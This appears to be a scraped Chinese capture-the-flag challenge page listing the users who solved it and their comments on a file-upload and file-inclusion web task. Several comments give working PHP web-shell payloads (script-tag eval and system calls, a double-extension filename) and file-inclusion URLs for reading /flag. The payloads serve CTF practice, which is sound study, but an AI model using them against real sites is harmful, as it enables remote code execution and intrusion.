评分(6)
解题动态
michelle123 攻破了该题 14小时前
lemox 攻破了该题 20小时前
jvfnvd.vl 攻破了该题 21小时前
精灵925 攻破了该题 1天前
小爱莉希雅 攻破了该题 1天前
fl4y 攻破了该题 1天前
Cera 攻破了该题 1天前
青春小豆 攻破了该题 2天前
努力学习的白 攻破了该题 3天前
niubill 攻破了该题 4天前
whshkdh 攻破了该题 4天前
追风的牛牛 攻破了该题 4天前
hsf996 攻破了该题 5天前
C071 攻破了该题 5天前
ikun0073 攻破了该题 5天前
The_sloth 攻破了该题 6天前
dsdqh699 攻破了该题 6天前
ggsea 攻破了该题 7天前
liyimanfan 攻破了该题 7天前
评论
15105219317 10月前
举报
文件上传成功了，蚁剑也显示连接成功，为啥没数据返回啊
lin666 11月前
举报
文件包含 + 文件上传 （使用非主流的内容写法来绕过常规的内容头替换 <script language="php">system("ls");</script> ）
2686213396 1年前
举报
http://117.72.52.127:18030/index.php?file=file:///flag，file伪协议说是
satuo 1年前
举报
<script language=php>echo 'a'; eval($_POST['pass']);</script>
zhuizhui 1年前
举报
<script language=php>system("cat /flag")</script> webshell.php;.png
leonleonleon 1年前
举报
1.'<'+'?'+'php' 和'>'会被过滤; 2.后缀名会被过滤; 3.用'<' script lanugage=php 后面自己闭合一下，最后文件包含上传获取flag
volnu1l 1年前
举报
新建txt，保存jpg <script language=php>system("ls /flag&&cat /flag")</script> 访问?file=upload/.jpg
yanqiye 1年前
举报
用file=/flag取巧做法，真正做题名字肯定要变，预期做法：传一句话，发现php标签被删了，直接用<?= @eval($_POST[1]);就可以了。
G3tcH4r 1年前
举报
花金币看了WP，不过自己试了下，发现script 设置language为php，也可以传能执行命令的马儿，这题蛮有意思
CHLing 2年前
举报
http://114.67.175.224:18550/index.php?file=//flag